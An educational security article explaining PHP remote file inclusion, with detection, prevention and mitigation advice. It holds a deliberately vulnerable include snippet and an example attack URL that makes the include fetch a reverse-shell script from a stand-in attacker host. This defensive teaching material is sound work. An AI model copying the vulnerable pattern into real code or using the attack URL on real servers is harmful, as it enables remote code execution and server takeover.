Remote file inclusion (RFI)
What is remote file inclusion?
Remote file inclusion (RFI) is a web vulnerability that lets a malicious hacker force the application to include arbitrary code files imported from another location, for example, a server controlled by the attacker.
Severity: | very severe | |
Prevalence: | discovered very rarely | |
Scope: | appears mostly in older versions of PHP | |
Technical impact: | remote code execution | |
Worst-case consequences: | full system compromise | |
Quick fix: | turn off remote inclusion in web server settings |
How does remote file inclusion work?
Many programming languages, including those used on the server side for developing web applications, let the developer include source code from other files. Some functions used to include source code only allow you to include local files, but in some languages, they also allow inclusion by URL. This is useful for including, for example, source code files located on other servers in a complex multi-server application.
Such inclusion is often static, i.e. the URL of the file is defined in the source code and cannot be modified. However, in some applications, the developer may want to include a file dynamically from a remote location. If so, the URL of the remote file might be passed in a user input parameter.
Remote file inclusion vulnerabilities happen when a malicious actor can modify user input to include their own remote files. This vulnerability most often happens in applications and APIs written in older versions of PHP with the include expression. In the case of other common web application programming languages, including files in a similar way requires much more complex programming constructs.
Note that the ability to include remote files has been deprecated since PHP 7.4.0, released in November 2019.
Remote file inclusion vs. local file inclusion
If the attacker can include a malicious file only from the same server, that is a local file inclusion (LFI) vulnerability. LFI vulnerabilities are much more common for several reasons:
- LFI includes not just cases when the developer includes a source code file but all cases where the attacker can access a local file that they should not be able to access.
- LFI happens in most web programming languages, not just PHP, since other languages also allow developers to open and/or include local files.
- Developers often need to include local source code or read and display the content of local files, which could lead to LFI. They rarely need to include source codes from remote locations, which is necessary for RFI.
Local file inclusion also often goes together with directory traversal. RFI, on the other hand, by definition cannot lead to directory traversal because the file is included by URL, not by path/filename.
You can also think about RFI as an attack that is in a way similar to cross-site scripting. In both cases, a vulnerable application takes untrusted code from an external source and executes it. However, in the case of RFI, attackers are abusing the PHP include
mechanism instead of a <script>
tag.
Example of a remote file inclusion attack
Below is an example of PHP code with a remote file inclusion vulnerability, as well as an attack vector on an application that includes this code.
The developer of a PHP application wants to include a source code file from another server but the included file is not static. The following is a code snippet from the index.php file.
<?PHP
$module = $_GET["module"];
include $module;
?>
The server runs PHP 7.3.33. The php.ini file includes the following configuration parameter:
allow_url_include = On
This parameter (deprecated in PHP 7.4.0) means that the include expression can parse a URL and include a file from that URL.
The URL is taken directly from the GET HTTP request, so you can include the module http://server2.example.com/welcome.php as follows:
http://example.com/index.php?module=http://server2.example.com/welcome.php
The attack vector
The attacker manipulates the GET request sent to index.php to include a URL with a pentest monkey reverse shell script configured to connect to an attacker-controlled server:
http://example.com/index.php?module=http://attacker.example2.com/php-reverse-shell.php
As a result, the application runs the code of the reverse shell (remote code execution), granting the attacker remote access to the server command line.
Potential consequences of a remote file inclusion attack
As you can see from the examples above, remote file inclusion vulnerabilities may lead to remote code execution and, as a result, the attacker could gain complete control of the server. However, the included code has the same execution permissions as the web server user, so its access rights are limited.
In an RFI attack, cybercriminals can use any malicious code, so depending on their intentions, they can try to escalate RFI to any of the following cyberattack scenarios:
- Ransomware or other malware: The attacker may escalate the attack to download a ransomware agent to the machine. This will then use other methods to spread to other assets owned by the victim.
- Cryptocurrency mining: Attackers often install cryptocurrency miners on compromised machines. Mining consumes your computing resources to provide cybercriminals with funding for more malicious activities.
- Sensitive data theft: The attacker may escalate the attack and steal credentials to access SQL database servers containing sensitive information such as credit card numbers.
- Backdoor: The attacker may install a long-term backdoor on the victim system and use it, for example, to monitor the victim’s business activities.
Examples of known remote file inclusion vulnerabilities
The following are some examples of common open-source web apps that had a remote file inclusion vulnerability:
- CVE-2018-16283: Multiple WordPress plugins in the past had RFI vulnerabilities, with one of the most recent being the Wechat Broadcast plugin 1.2.0.
- CVE-2014-7228: The Joomla core has experienced RFI vulnerabilities several times, with the most recent case involving Joomla 2.5.4 through 2.5.25, 3.2.5 and earlier, and 3.3.0 through 3.3.4.
How to detect remote file inclusion vulnerabilities?
The best way to detect remote file inclusion vulnerabilities depends on whether they are already known or unknown.
- If you only use commercial or open-source software and do not develop software of your own, you may find it enough to identify the exact version of the system or application that you are using. If the identified version is vulnerable to remote file inclusion, you can assume that you are susceptible to that remote file inclusion vulnerability. You can identify the version manually or use a suitable security tool, such as software composition analysis (SCA) software in the case of web applications or a network scanner in the case of networked systems and applications.
- If you develop your own software or want to potentially find unknown remote file inclusion vulnerabilities (zero-days) in known applications, you must be able to successfully exploit the remote file inclusion vulnerability to be certain that it exists. In such cases, you need to either perform manual penetration testing with the help of security researchers or penetration testers, or use an application security testing tool (web vulnerability scanner) that can automatically exploit vulnerabilities. Examples of such tools are Invicti and Acunetix by Invicti. We recommend using this method even for known vulnerabilities.
How to prevent remote file inclusion vulnerabilities in web applications?
There are several methods that allow you to prevent remote file inclusion vulnerabilities in your code:
- Completely avoid using user input in include expressions. This means not just URLs coming from direct user input such as GET/POST HTTP parameters but also other data sources that can be manipulated by the attacker, for example, cookies and headers.
- If your application requires you to use dynamic includes and there is no way around it, create a whitelist of safe files.
Note: Do not rely on blacklisting, encoding, or methods of input validation/sanitization such as filtering to prevent remote file inclusion. For example, don’t try to limit or enforce file extensions or block special character sequences. Attackers have many ways of bypassing such filters.
How to mitigate remote file inclusion attacks?
There are two very effective ways to mitigate remote file inclusion attacks in PHP:
- Ask your web server administrator to upgrade PHP to version 7.4.0 or newer, or
- Ask your web server administrator to add the directive
allow_url_include = Off
to the php.ini file.
This will make remote file inclusion impossible, no matter if the applications running on the web server are custom applications written by your developers or third-party/open-source applications. However, this may stop some legacy applications from working.
Frequently asked questions
What is remote file inclusion (RFI)?
Remote file inclusion (RFI) is a web vulnerability that lets a malicious hacker force the application to include arbitrary code files imported from another location, for example, a server controlled by the attacker. It is similar to local file inclusion.
How dangerous is RFI?
Remote file inclusion vulnerabilities may lead to remote code execution and, as a result, the attacker could gain complete control of the server. However, the included code has the same execution permissions as the web server user, so its access rights are limited.
How to avoid RFI?
To avoid RFI and many other vulnerabilities, follow secure programming habits and never trust user input. If you need to include remote files, use a whitelist of safe file names and locations.
Classification | ID |
---|---|
CAPEC | 193 |
CWE | 98 |
WASC | 5 |
OWASP 2021 | A1 |
Related blog posts
Written by: Tomasz Andrzej Nidecki, reviewed by: Sven Morgenroth